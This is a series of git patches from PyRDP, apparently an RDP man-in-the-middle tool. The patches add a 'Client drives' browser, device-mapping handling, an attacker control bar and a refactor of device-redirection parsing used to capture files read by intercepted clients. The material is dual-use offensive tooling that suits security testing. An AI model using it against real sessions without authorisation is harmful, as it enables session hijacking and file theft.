+ PlayerPDUType, SlowPathUpdateType from pyrdp.logging import log from pyrdp.parser import BasicFastPathParser, BitmapParser, ClientConnectionParser, ClientInfoParser, ClipboardParser, \ FastPathOutputParser, SlowPathParser from pyrdp.pdu import BitmapUpdateData, ConfirmActivePDU, FastPathBitmapEvent, FastPathMouseEvent, FastPathOutputEvent, \ - FastPathScanCodeEvent, FastPathUnicodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, \ - MouseEvent, PlayerPDU, UpdatePDU + FastPathScanCodeEvent, FastPathUnicodeEvent, FormatDataResponsePDU, InputPDU, KeyboardEvent, MouseEvent, \ + PlayerDeviceMappingPDU, PlayerPDU, UpdatePDU from pyrdp.player import keyboard from pyrdp.ui import QRemoteDesktop, RDPBitmapToQtImage @@ -42,6 +42,7 @@ def __init__(self, viewer: QRemoteDesktop, text: QTextEdit): PlayerPDUType.SLOW_PATH_PDU: self.onSlowPathPDU, PlayerPDUType.FAST_PATH_OUTPUT: self.onFastPathOutput, PlayerPDUType.FAST_PATH_INPUT: self.onFastPathInput, + PlayerPDUType.DEVICE_MAPPING: self.onDeviceMapping, } @@ -234,3 +235,7 @@ def handleBitmap(self, bitmapData: BitmapUpdateData): image, bitmapData.destRight - bitmapData.destLeft + 1, bitmapData.destBottom - bitmapData.destTop + 1) + + + def onDeviceMapping(self, pdu: PlayerDeviceMappingPDU): + self.writeText(f"\n<{DeviceType.getPrettyName(pdu.deviceType)} mapped: {pdu.name}>") \ No newline at end of file From 9ec078bb227c70a3dccae603c78e7fdada83fac7 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 12:41:33 -0400 Subject: [PATCH 072/113] Ignore test scripts --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index e2f97172a..805f49efc 100644 --- a/.gitignore +++ b/.gitignore @@ -19,3 +19,4 @@ pyrdp_output/ test.bin saved_files/ pyrdp_log/ +bin/test_* \ No newline at end of file From c414f5f82d6a9d5745c68b8710538472dc2d848a Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 13:28:17 -0400 Subject: [PATCH 073/113] Ignore bin/ scripts starting with _ --- .gitignore | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 805f49efc..c5c8c6130 100644 --- a/.gitignore +++ b/.gitignore @@ -19,4 +19,4 @@ pyrdp_output/ test.bin saved_files/ pyrdp_log/ -bin/test_* \ No newline at end of file +bin/_* \ No newline at end of file From 9763b027120b5cee713798183f854b708b2647d4 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 14:00:51 -0400 Subject: [PATCH 074/113] Add FileSystemItem --- pyrdp/ui/FileSystemItem.py | 44 ++++++++++++++++++++++++++++++++++++++ pyrdp/ui/__init__.py | 1 + 2 files changed, 45 insertions(+) create mode 100644 pyrdp/ui/FileSystemItem.py diff --git a/pyrdp/ui/FileSystemItem.py b/pyrdp/ui/FileSystemItem.py new file mode 100644 index 000000000..c1cb5ce2f --- /dev/null +++ b/pyrdp/ui/FileSystemItem.py @@ -0,0 +1,44 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from enum import Enum + +from PySide2.QtCore import QObject +from PySide2.QtWidgets import QListWidgetItem, QFileIconProvider + + +class FileSystemItemType(Enum): + Directory = QFileIconProvider.IconType.Folder + Drive = QFileIconProvider.IconType.Drive + File = QFileIconProvider.IconType.File + +class FileSystemItem(QListWidgetItem): + def __init__(self, name: str, itemType: FileSystemItemType, parent: QObject = None): + icon = QFileIconProvider().icon(itemType.value) + + super().__init__(icon, name, parent) + self.itemType = itemType + + def isDirectory(self) -> bool: + return self.itemType == FileSystemItemType.Directory + + def isDrive(self) -> bool: + return self.itemType == FileSystemItemType.Drive + + def isFile(self) -> bool: + return self.itemType == FileSystemItemType.File + + def __lt__(self, other: 'FileSystemItem'): + if self.text() == ".." and self.isDirectory(): + return True + + if self.isDrive() != other.isDrive(): + return self.isDrive() + + if self.isDirectory() != other.isDirectory(): + return self.isDirectory() + + return self.text() < other.text() \ No newline at end of file diff --git a/pyrdp/ui/__init__.py b/pyrdp/ui/__init__.py index 2dc8f15c2..cad31a82d 100644 --- a/pyrdp/ui/__init__.py +++ b/pyrdp/ui/__init__.py @@ -4,5 +4,6 @@ # Licensed under the GPLv3 or later. # +from pyrdp.ui.FileSystemItem import FileSystemItem, FileSystemItemType from pyrdp.ui.PlayPauseButton import PlayPauseButton from pyrdp.ui.qt import RDPBitmapToQtImage, QRemoteDesktop \ No newline at end of file From 4840548b022ba36a5defac73f7f7dfb87933fdf9 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 15:13:33 -0400 Subject: [PATCH 075/113] Add File, Directory and DirectoryObserver classes --- pyrdp/core/__init__.py | 1 + pyrdp/core/filesystem.py | 83 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 84 insertions(+) create mode 100644 pyrdp/core/filesystem.py diff --git a/pyrdp/core/__init__.py b/pyrdp/core/__init__.py index 034809176..020b3255a 100644 --- a/pyrdp/core/__init__.py +++ b/pyrdp/core/__init__.py @@ -7,6 +7,7 @@ from pyrdp.core.defer import defer from pyrdp.core.event import EventEngine from pyrdp.core.FileProxy import FileProxy, FileProxyObserver +from pyrdp.core.filesystem import Directory, DirectoryObserver, File from pyrdp.core.helpers import decodeUTF16LE, encodeUTF16LE from pyrdp.core.observer import CompositeObserver, Observer from pyrdp.core.packing import Int16BE, Int16LE, Int32BE, Int32LE, Int8, Uint16BE, Uint16LE, Uint32BE, Uint32LE, \ diff --git a/pyrdp/core/filesystem.py b/pyrdp/core/filesystem.py new file mode 100644 index 000000000..c46572bef --- /dev/null +++ b/pyrdp/core/filesystem.py @@ -0,0 +1,83 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from typing import List + +from pyrdp.core.observer import Observer +from pyrdp.core.subject import ObservedBy, Subject + + +class File: + """ + Class representing a file on a filesystem. It doesn't have to exist, it is merely a representation of a file. + """ + + def __init__(self, name: str): + """ + :param name: the name of the file, without any directory. + """ + self.name = name + + +class DirectoryObserver(Observer): + """ + Observer class for watching directory changes. + """ + + def onDirectoryChanged(self, directory: 'Directory'): + """ + Notification for directory changes. + :param directory: the directory that was changed. + """ + pass + + +@ObservedBy(DirectoryObserver) +class Directory(Subject): + """ + Class representing a directory on a filesystem. It doesn't have to exist, it is merely a representation of a directory. + """ + + def __init__(self, name: str): + """ + :param name: the name of the directory, without any other directory. + """ + + super().__init__() + + self.name = name + self.directories: List['Directory'] = [] + self.files: List[File] = [] + + def getDirectories(self) -> List['Directory']: + return list(self.directories) + + def getFiles(self) -> List[File]: + return list(self.files) + + def addDirectory(self, name: str) -> 'Directory': + """ + :param name: name of the directory to add. + """ + + directory = Directory(name) + self.directories.append(directory) + + self.observer.onDirectoryChanged(self) + + return directory + + def addFile(self, name: str) -> File: + """ + :param name: name of the file to add. + """ + + file = File(name) + self.files.append(file) + + self.observer.onDirectoryChanged(self) + + return file \ No newline at end of file From edb928ab901653dfb0af5dd3cd2be57230453b01 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 15:22:10 -0400 Subject: [PATCH 076/113] Add FileSystemWidget --- pyrdp/ui/FileSystemWidget.py | 92 ++++++++++++++++++++++++++++++++++++ pyrdp/ui/__init__.py | 3 +- 2 files changed, 94 insertions(+), 1 deletion(-) create mode 100644 pyrdp/ui/FileSystemWidget.py diff --git a/pyrdp/ui/FileSystemWidget.py b/pyrdp/ui/FileSystemWidget.py new file mode 100644 index 000000000..95a26dc57 --- /dev/null +++ b/pyrdp/ui/FileSystemWidget.py @@ -0,0 +1,92 @@ +from pathlib import Path + +from PySide2.QtCore import QObject +from PySide2.QtWidgets import QWidget, QLabel, QListWidget, QVBoxLayout + +from pyrdp.core import DirectoryObserver, Directory +from pyrdp.ui import FileSystemItem, FileSystemItemType + + +class FileSystemWidget(QWidget, DirectoryObserver): + """ + Widget for display directories, using the pyrdp.core.filesystem classes. + """ + + def __init__(self, root: Directory, parent: QObject = None): + """ + :param root: root of all directories. Directories in root will be displayed with drive icons. + :param parent: parent object. + """ + + super().__init__(parent) + self.root = root + + self.breadcrumbLabel = QLabel(str(Path("/").resolve())) + self.listWidget = QListWidget() + self.listWidget.setSortingEnabled(True) + + layout = QVBoxLayout() + layout.addWidget(self.breadcrumbLabel) + layout.addWidget(self.listWidget) + + self.setLayout(layout) + self.listWidget.itemDoubleClicked.connect(self.onItemDoubleClicked) + + self.currentPath: Path = Path("/") + self.currentDirectory: Directory = root + self.listCurrentDirectory() + + self.currentDirectory.addObserver(self) + + def onItemDoubleClicked(self, item: FileSystemItem): + """ + Handle double-clicks on items in the list. + :param item: the item that was clicked. + """ + + if not item.isDirectory() and not item.isDrive(): + return + + if item.text() == "..": + self.currentPath = self.currentPath.parent + else: + self.currentPath = self.currentPath / item.text() + + self.listCurrentDirectory() + + def listCurrentDirectory(self): + """ + Refresh the list widget with the current directory's contents. + """ + + node = self.root + + for part in self.currentPath.parts[1 :]: + directories = node.getDirectories() + node = next(d for d in directories if d.name == part) + + self.listWidget.clear() + self.breadcrumbLabel.setText(str(self.currentPath)) + + if node != self.root: + self.listWidget.addItem(FileSystemItem("..", FileSystemItemType.Directory)) + + for directory in node.getDirectories(): + itemType = FileSystemItemType.Drive if node == self.root else FileSystemItemType.Directory + self.listWidget.addItem(FileSystemItem(directory.name, itemType)) + + for file in node.getFiles(): + self.listWidget.addItem(FileSystemItem(file.name, FileSystemItemType.File)) + + if node is not self.currentDirectory: + self.currentDirectory.removeObserver(self) + node.addObserver(self) + self.currentDirectory = node + + def onDirectoryChanged(self, directory: 'Directory'): + """ + Refresh the directory view when the directory has changed. + :param directory: the directory that was changed. + """ + + self.listCurrentDirectory() \ No newline at end of file diff --git a/pyrdp/ui/__init__.py b/pyrdp/ui/__init__.py index cad31a82d..f5dee7c75 100644 --- a/pyrdp/ui/__init__.py +++ b/pyrdp/ui/__init__.py @@ -5,5 +5,6 @@ # from pyrdp.ui.FileSystemItem import FileSystemItem, FileSystemItemType +from pyrdp.ui.FileSystemWidget import FileSystemWidget from pyrdp.ui.PlayPauseButton import PlayPauseButton -from pyrdp.ui.qt import RDPBitmapToQtImage, QRemoteDesktop \ No newline at end of file +from pyrdp.ui.qt import QRemoteDesktop, RDPBitmapToQtImage From d73d4336c7d4dd37269f965e4c7e94f407605dd3 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 16:02:08 -0400 Subject: [PATCH 077/113] Add setWindowTitle to FileSystemWidget. When the window title is not blank, it will display a label with bold text and a separator. --- pyrdp/ui/FileSystemWidget.py | 47 ++++++++++++++++++++++++++++++------ 1 file changed, 39 insertions(+), 8 deletions(-) diff --git a/pyrdp/ui/FileSystemWidget.py b/pyrdp/ui/FileSystemWidget.py index 95a26dc57..02abb2f74 100644 --- a/pyrdp/ui/FileSystemWidget.py +++ b/pyrdp/ui/FileSystemWidget.py @@ -1,9 +1,9 @@ from pathlib import Path from PySide2.QtCore import QObject -from PySide2.QtWidgets import QWidget, QLabel, QListWidget, QVBoxLayout +from PySide2.QtWidgets import QFrame, QLabel, QListWidget, QVBoxLayout, QWidget -from pyrdp.core import DirectoryObserver, Directory +from pyrdp.core import Directory, DirectoryObserver from pyrdp.ui import FileSystemItem, FileSystemItemType @@ -20,16 +20,22 @@ def __init__(self, root: Directory, parent: QObject = None): super().__init__(parent) self.root = root + self.breadcrumbLabel = QLabel() + + self.titleLabel = QLabel() + self.titleLabel.setStyleSheet("font-weight: bold") + + self.titleSeparator: QFrame = QFrame() + self.titleSeparator.setFrameShape(QFrame.HLine) - self.breadcrumbLabel = QLabel(str(Path("/").resolve())) self.listWidget = QListWidget() self.listWidget.setSortingEnabled(True) - layout = QVBoxLayout() - layout.addWidget(self.breadcrumbLabel) - layout.addWidget(self.listWidget) + self.verticalLayout = QVBoxLayout() + self.verticalLayout.addWidget(self.breadcrumbLabel) + self.verticalLayout.addWidget(self.listWidget) - self.setLayout(layout) + self.setLayout(self.verticalLayout) self.listWidget.itemDoubleClicked.connect(self.onItemDoubleClicked) self.currentPath: Path = Path("/") @@ -38,6 +44,31 @@ def __init__(self, root: Directory, parent: QObject = None): self.currentDirectory.addObserver(self) + def setWindowTitle(self, title: str): + """ + Set the window title. When the title is not blank, a title label and a separator is displayed. + :param title: the new title. + """ + + previousTitle = self.windowTitle() + + super().setWindowTitle(title) + + self.titleLabel.setText(title) + + if previousTitle == "" and title != "": + self.verticalLayout.insertWidget(0, self.titleLabel) + self.verticalLayout.insertWidget(1, self.titleSeparator) + elif title == "" and previousTitle != "": + self.verticalLayout.removeWidget(self.titleLabel) + self.verticalLayout.removeWidget(self.titleSeparator) + + # noinspection PyTypeChecker + self.titleLabel.setParent(None) + + # noinspection PyTypeChecker + self.titleSeparator.setParent(None) + def onItemDoubleClicked(self, item: FileSystemItem): """ Handle double-clicks on items in the list. @@ -66,7 +97,7 @@ def listCurrentDirectory(self): node = next(d for d in directories if d.name == part) self.listWidget.clear() - self.breadcrumbLabel.setText(str(self.currentPath)) + self.breadcrumbLabel.setText(f"Location: {str(self.currentPath)}") if node != self.root: self.listWidget.addItem(FileSystemItem("..", FileSystemItemType.Directory)) From 544b33cb5b3b1bc6ebb0a8e6bf47a9c71952ed14 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 16:10:38 -0400 Subject: [PATCH 078/113] Add FileSystemWidget to LiveTab --- pyrdp/player/LiveTab.py | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 82d923c3c..9b55ee30a 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -7,13 +7,15 @@ import asyncio from PySide2.QtCore import Qt, Signal -from PySide2.QtWidgets import QWidget +from PySide2.QtWidgets import QHBoxLayout, QWidget +from pyrdp.core import Directory from pyrdp.player.AttackerBar import AttackerBar from pyrdp.player.BaseTab import BaseTab from pyrdp.player.PlayerEventHandler import PlayerEventHandler from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet from pyrdp.player.RDPMITMWidget import RDPMITMWidget +from pyrdp.ui import FileSystemWidget class LiveTab(BaseTab): @@ -36,7 +38,18 @@ def __init__(self, parent: QWidget = None): self.attackerBar.controlTaken.connect(lambda: self.rdpWidget.setControlState(True)) self.attackerBar.controlReleased.connect(lambda: self.rdpWidget.setControlState(False)) + self.fileSystem = Directory("") + self.fileSystemWidget = FileSystemWidget(self.fileSystem) + self.fileSystemWidget.setWindowTitle("Client drives") + + self.attackerLayout = QHBoxLayout() + self.attackerLayout.addWidget(self.fileSystemWidget, 20) + self.attackerLayout.addWidget(self.text, 80) + self.tabLayout.insertWidget(0, self.attackerBar) + self.tabLayout.removeWidget(self.text) + self.tabLayout.addLayout(self.attackerLayout) + self.layers.player.addObserver(self.eventHandler) def getProtocol(self) -> asyncio.Protocol: From 8bd8c44b74321df3e158151e12307052087eb3a3 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Thu, 11 Apr 2019 16:32:50 -0400 Subject: [PATCH 079/113] Handle device mapping events for live sessions --- pyrdp/player/LiveEventHandler.py | 25 +++++++++++++++++++++++++ pyrdp/player/LiveTab.py | 6 +++--- 2 files changed, 28 insertions(+), 3 deletions(-) create mode 100644 pyrdp/player/LiveEventHandler.py diff --git a/pyrdp/player/LiveEventHandler.py b/pyrdp/player/LiveEventHandler.py new file mode 100644 index 000000000..32e177e15 --- /dev/null +++ b/pyrdp/player/LiveEventHandler.py @@ -0,0 +1,25 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from PySide2.QtWidgets import QTextEdit + +from pyrdp.core import Directory +from pyrdp.enum import DeviceType +from pyrdp.pdu import PlayerDeviceMappingPDU +from pyrdp.player.PlayerEventHandler import PlayerEventHandler +from pyrdp.ui import QRemoteDesktop + + +class LiveEventHandler(PlayerEventHandler): + def __init__(self, viewer: QRemoteDesktop, text: QTextEdit, fileSystem: Directory): + super().__init__(viewer, text) + self.fileSystem = fileSystem + + def onDeviceMapping(self, pdu: PlayerDeviceMappingPDU): + super().onDeviceMapping(pdu) + + if pdu.deviceType == DeviceType.RDPDR_DTYP_FILESYSTEM: + self.fileSystem.addDirectory(pdu.name) \ No newline at end of file diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index 9b55ee30a..deda2e573 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -12,7 +12,7 @@ from pyrdp.core import Directory from pyrdp.player.AttackerBar import AttackerBar from pyrdp.player.BaseTab import BaseTab -from pyrdp.player.PlayerEventHandler import PlayerEventHandler +from pyrdp.player.LiveEventHandler import LiveEventHandler from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet from pyrdp.player.RDPMITMWidget import RDPMITMWidget from pyrdp.ui import FileSystemWidget @@ -32,13 +32,13 @@ def __init__(self, parent: QWidget = None): super().__init__(rdpWidget, parent) self.layers = layers self.rdpWidget = rdpWidget - self.eventHandler = PlayerEventHandler(self.widget, self.text) + self.fileSystem = Directory("") + self.eventHandler = LiveEventHandler(self.widget, self.text, self.fileSystem) self.attackerBar = AttackerBar() self.attackerBar.controlTaken.connect(lambda: self.rdpWidget.setControlState(True)) self.attackerBar.controlReleased.connect(lambda: self.rdpWidget.setControlState(False)) - self.fileSystem = Directory("") self.fileSystemWidget = FileSystemWidget(self.fileSystem) self.fileSystemWidget.setWindowTitle("Client drives") From f02e4ca4eeebb65987f0cad00d416f1ba1ffac4d Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Mon, 15 Apr 2019 15:39:01 -0400 Subject: [PATCH 080/113] Refactor RDPDR parsing --- pyrdp/enum/__init__.py | 4 +- .../virtual_channel/device_redirection.py | 7 + pyrdp/mitm/AttackerMITM.py | 8 +- pyrdp/mitm/DeviceRedirectionMITM.py | 40 +- .../rdp/virtual_channel/device_redirection.py | 362 ++++++++++-------- pyrdp/pdu/__init__.py | 8 +- .../rdp/virtual_channel/device_redirection.py | 88 +++-- 7 files changed, 290 insertions(+), 227 deletions(-) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index 53e8b1ff5..8130acfa6 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -15,7 +15,7 @@ from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ ClipboardMessageType from pyrdp.enum.virtual_channel.device_redirection import CreateOption, DeviceRedirectionComponent, \ - DeviceRedirectionPacketID, DeviceType, FileAccess, GeneralCapabilityVersion, IOOperationSeverity, MajorFunction, \ - MinorFunction, RDPDRCapabilityType + DeviceRedirectionPacketID, DeviceType, FileAccess, FileSystemInformationClass, GeneralCapabilityVersion, \ + IOOperationSeverity, MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.enum.virtual_channel.virtual_channel import VirtualChannelPDUFlag from pyrdp.enum.x224 import X224PDUType diff --git a/pyrdp/enum/virtual_channel/device_redirection.py b/pyrdp/enum/virtual_channel/device_redirection.py index 1a0791d0d..d9262c31f 100644 --- a/pyrdp/enum/virtual_channel/device_redirection.py +++ b/pyrdp/enum/virtual_channel/device_redirection.py @@ -174,3 +174,10 @@ class ExtendedPDUFlags(IntEnum): RDPDR_DEVICE_REMOVE_PDUS = 0x00000001 RDPDR_CLIENT_DISPLAY_NAME_PDU = 0x00000002 RDPDR_USER_LOGGEDON_PDU = 0x00000004 + + +class FileSystemInformationClass(IntEnum): + FileDirectoryInformation = 0x00000001 + FileFullDirectoryInformation = 0x00000002 + FileBothDirectoryInformation = 0x00000003 + FileNamesInformation = 0x0000000C \ No newline at end of file diff --git a/pyrdp/mitm/AttackerMITM.py b/pyrdp/mitm/AttackerMITM.py index c771b72f6..74e1480d7 100644 --- a/pyrdp/mitm/AttackerMITM.py +++ b/pyrdp/mitm/AttackerMITM.py @@ -161,11 +161,5 @@ def handleBitmap(self, pdu: PlayerBitmapPDU): def onDeviceAnnounce(self, device: DeviceAnnounce): self.devices[device.deviceID] = device - name = device.preferredDosName - endPosition = name.find(b"\x00") - - if endPosition >= 0: - name = name[: endPosition] - - pdu = PlayerDeviceMappingPDU(self.attacker.getCurrentTimeStamp(), device.deviceID, device.deviceType, name.decode()) + pdu = PlayerDeviceMappingPDU(self.attacker.getCurrentTimeStamp(), device.deviceID, device.deviceType, device.preferredDOSName) self.recorder.record(pdu, pdu.header) \ No newline at end of file diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index ef95e383d..52a494066 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -11,13 +11,13 @@ from typing import Dict from pyrdp.core import decodeUTF16LE, FileProxy, ObservedBy, Observer, Subject -from pyrdp.enum import CreateOption, DeviceType, FileAccess, IOOperationSeverity +from pyrdp.enum import CreateOption, DeviceType, FileAccess, IOOperationSeverity, MajorFunction from pyrdp.layer import DeviceRedirectionLayer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder -from pyrdp.parser import DeviceRedirectionParser -from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCreateRequestPDU, DeviceIORequestPDU, \ - DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceRedirectionPDU +from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ + DeviceCreateResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, \ + DeviceReadResponsePDU, DeviceRedirectionPDU class DeviceRedirectionMITMObserver(Observer): @@ -54,6 +54,12 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye self.fileMap: Dict[str, FileMapping] = {} self.fileMapPath = self.config.outDir / "mapping.json" + self.responseHandlers: Dict[MajorFunction, callable] = { + MajorFunction.IRP_MJ_CREATE: self.handleCreateResponse, + MajorFunction.IRP_MJ_READ: self.handleReadResponse, + MajorFunction.IRP_MJ_CLOSE: self.handleCloseResponse, + } + self.client.createObserver( onPDUReceived=self.onClientPDUReceived, ) @@ -108,7 +114,6 @@ def handleIORequest(self, pdu: DeviceIORequestPDU): self.currentIORequests[pdu.completionID] = pdu - def handleIOResponse(self, pdu: DeviceIOResponsePDU): """ Handle an IO response, depending on what kind of request originated it. @@ -120,12 +125,8 @@ def handleIOResponse(self, pdu: DeviceIOResponsePDU): if pdu.ioStatus >> 30 == IOOperationSeverity.STATUS_SEVERITY_ERROR: self.log.warning("Received an IO Response with an error IO status: %(responsePDU)s for request %(requestPDU)s", {"responsePDU": repr(pdu), "requestPDU": repr(requestPDU)}) - if isinstance(requestPDU, DeviceCreateRequestPDU): - self.handleCreateResponse(requestPDU, pdu) - elif isinstance(requestPDU, DeviceReadRequestPDU): - self.handleReadResponse(requestPDU, pdu) - elif isinstance(requestPDU, DeviceCloseRequestPDU): - self.handleCloseResponse(requestPDU, pdu) + if pdu.majorFunction in self.responseHandlers: + self.responseHandlers[pdu.majorFunction](requestPDU, pdu) self.currentIORequests.pop(pdu.completionID) else: @@ -138,15 +139,15 @@ def handleDeviceListAnnounceRequest(self, pdu: DeviceListAnnounceRequest): """ for device in pdu.deviceList: - self.log.info("%(deviceName)s mapped with ID %(deviceID)d: %(deviceData)s", { - "deviceName": DeviceType.getPrettyName(device.deviceType), + self.log.info("%(deviceType)s mapped with ID %(deviceID)d: %(deviceName)s", { + "deviceType": DeviceType.getPrettyName(device.deviceType), "deviceID": device.deviceID, - "deviceData": device.preferredDosName.rstrip(b"\x00").decode() + "deviceName": device.preferredDOSName }) self.observer.onDeviceAnnounce(device) - def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: DeviceIOResponsePDU): + def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: DeviceCreateResponsePDU): """ Prepare to intercept a file: create a FileProxy object, which will only create the file when we actually write to it. When listing a directory, Windows sends a lot of create requests without actually reading the files. We @@ -155,8 +156,6 @@ def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: Device :param response: the device IO response to the request """ - response = DeviceRedirectionParser().parseDeviceCreateResponse(response) - isFileRead = request.desiredAccess & (FileAccess.GENERIC_READ | FileAccess.FILE_READ_DATA) != 0 isNotDirectory = request.createOptions & CreateOption.FILE_NON_DIRECTORY_FILE != 0 @@ -176,7 +175,7 @@ def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: Device ) - def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceIOResponsePDU): + def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceReadResponsePDU): """ Write the data that was read at the appropriate offset in the file proxy. :param request: the device read request @@ -184,10 +183,9 @@ def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceIORe """ if request.fileID in self.openedFiles: - response = DeviceRedirectionParser().parseDeviceReadResponse(response) file = self.openedFiles[request.fileID] file.seek(request.offset) - file.write(response.readData) + file.write(response.payload) # Save the mapping permanently mapping = self.openedMappings[request.fileID] @@ -197,7 +195,7 @@ def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceIORe self.fileMap[fileName] = mapping self.saveMapping() - def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceIOResponsePDU): + def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResponsePDU): """ Close the file if it was open. Compute the hash of the file, then delete it if we already have a file with the same hash. diff --git a/pyrdp/parser/rdp/virtual_channel/device_redirection.py b/pyrdp/parser/rdp/virtual_channel/device_redirection.py index 557f369b4..2174f260b 100644 --- a/pyrdp/parser/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/parser/rdp/virtual_channel/device_redirection.py @@ -5,19 +5,18 @@ # from io import BytesIO -from typing import Dict, Tuple +from typing import Dict, Union -from pyrdp.core import Uint16LE, Uint32LE, Uint64LE -from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, \ - GeneralCapabilityVersion, MajorFunction -from pyrdp.enum.virtual_channel.device_redirection import RDPDRCapabilityType -from pyrdp.logging import log +from pyrdp.core import decodeUTF16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 +from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileSystemInformationClass, \ + GeneralCapabilityVersion, MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.parser import Parser from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ DeviceCreateResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, \ DeviceReadResponsePDU, DeviceRedirectionCapabilitiesPDU, DeviceRedirectionCapability, \ DeviceRedirectionClientCapabilitiesPDU, DeviceRedirectionGeneralCapability, DeviceRedirectionPDU, \ DeviceRedirectionServerCapabilitiesPDU +from pyrdp.pdu.rdp.virtual_channel.device_redirection import DeviceQueryDirectoryRequest class DeviceRedirectionParser(Parser): @@ -44,46 +43,60 @@ def __init__(self): DeviceRedirectionPacketID.PAKID_CORE_SERVER_CAPABILITY: self.writeCapabilities, } + self.capabilityParsers: Dict[RDPDRCapabilityType, callable] = { + RDPDRCapabilityType.CAP_GENERAL_TYPE: self.parseGeneralCapability, + } + + self.capabilityWriters: Dict[RDPDRCapabilityType, callable] = { + RDPDRCapabilityType.CAP_GENERAL_TYPE: self.writeGeneralCapability, + } + self.ioRequestParsers: Dict[MajorFunction, callable] = { MajorFunction.IRP_MJ_CREATE: self.parseDeviceCreateRequest, MajorFunction.IRP_MJ_READ: self.parseDeviceReadRequest, MajorFunction.IRP_MJ_CLOSE: self.parseDeviceCloseRequest, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.parseDirectoryControlRequest, } self.ioRequestWriters: Dict[MajorFunction, callable] = { MajorFunction.IRP_MJ_CREATE: self.writeDeviceCreateRequest, MajorFunction.IRP_MJ_READ: self.writeDeviceReadRequest, MajorFunction.IRP_MJ_CLOSE: self.writeDeviceCloseRequest, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.writeDirectoryControlRequest, } - self.ioResponseWriters: Dict[type, callable] = { - DeviceCreateResponsePDU: self.writeDeviceCreateResponse, - DeviceReadResponsePDU: self.writeDeviceReadResponse, - DeviceCloseResponsePDU: self.writeDeviceCloseResponse, + self.ioResponseParsers: Dict[MajorFunction, callable] = { + MajorFunction.IRP_MJ_CREATE: self.parseDeviceCreateResponse, + MajorFunction.IRP_MJ_READ: self.parseDeviceReadResponse, + MajorFunction.IRP_MJ_CLOSE: self.parseDeviceCloseResponse, } + self.ioResponseWriters: Dict[MajorFunction, callable] = { + MajorFunction.IRP_MJ_CREATE: self.writeDeviceCreateResponse, + MajorFunction.IRP_MJ_READ: self.writeDeviceReadResponse, + MajorFunction.IRP_MJ_CLOSE: self.writeDeviceCloseResponse, + } + + # Dictionary to keep track of which completion ID is used for which major function. + self.majorFunctionsForParsingResponse: Dict[int, MajorFunction] = {} def parse(self, data: bytes) -> DeviceRedirectionPDU: stream = BytesIO(data) - unpack = Uint16LE.unpack(stream) 